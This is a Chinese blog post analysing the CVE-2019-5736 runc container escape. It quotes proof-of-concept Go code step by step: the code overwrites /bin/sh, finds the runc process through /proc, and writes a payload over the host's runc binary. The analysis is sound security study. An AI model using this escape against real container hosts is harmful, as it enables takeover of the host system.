前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >CVE-2019-5736 docker escape 简要分析

CVE-2019-5736 docker escape 简要分析

作者头像
用户1423082
发布2024-12-31 18:39:53
发布2024-12-31 18:39:53
7100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

闲来没事,简单分析分析,理解理解

分析exp

首先这个跟runc有关

RunC 是一个轻量级的工具,它是用来运行容器的,只用来做这一件事,并且这一件事要做好。我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。

exp: https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

步骤1:首先替换了/bin/sh#!/proc/self/exe,这样的话,当某个程序调用/bin/sh的时候,就会调用自身

代码语言:javascript
代码运行次数:0
复制
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
	fmt.Println(err)
	return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
	fmt.Println(err)
	return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

我们可以用ll看看,是不是指向ls

代码语言:javascript
代码运行次数:0
复制
root@b7652e3a006b:~# ll /proc/self/exe
lrwxrwxrwx 1 root root 0 Jun 19 15:30 /proc/self/exe -> /bin/ls*

步骤2:寻找runc的pid

代码语言:javascript
代码运行次数:0
复制
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
	pids, err := ioutil.ReadDir("/proc")
	if err != nil {
		fmt.Println(err)
		return
	}
	for _, f := range pids {
		fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
		fstring := string(fbytes)
		if strings.Contains(fstring, "runc") {
			fmt.Println("[+] Found the PID:", f.Name())
			found, err = strconv.Atoi(f.Name())
			if err != nil {
				fmt.Println(err)
				return
			}
		}
	}
}

步骤3:往找到的runc的文件句柄写我们要执行的命令什么的

代码语言:javascript
代码运行次数:0
复制
// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			writeHandle.Write([]byte(payload))
			return
		}
	}

找pid的目的是找到runc的路径,比如下面可以通过 /proc/pid/exe获得/bin/bash的软连接,只不过上面是获取runc的软连接

代码语言:javascript
代码运行次数:0
复制
root@b7652e3a006b:~# ps -aux | grep bash
root          1  0.0  0.1  18508  3160 pts/0    Ss+  15:11   0:00 /bin/bash
root         10  0.0  0.1  18824  3836 pts/1    Ss   15:18   0:00 /bin/bash
root         46  0.0  0.0  11464  1040 pts/1    S+   15:33   0:00 grep --color=auto bash
root@b7652e3a006b:~# ll /proc/10/exe 
lrwxrwxrwx 1 root root 0 Jun 19 15:18 /proc/10/exe -> /bin/bash*

步骤4:当用户调用docker exec的时候,相当于runc 调用/bin/sh,而/bin/sh被我们改为#!/proc/self/exe,即runc运行自身,而runc自身也被我们修改了,所以相当于runc执行了我们的代码

Reference

https://thinkycx.me/posts/2019-05-23-CVE-2019-5736-docker-escape-recurrence.html https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-06-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 分析exp
  • Reference
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档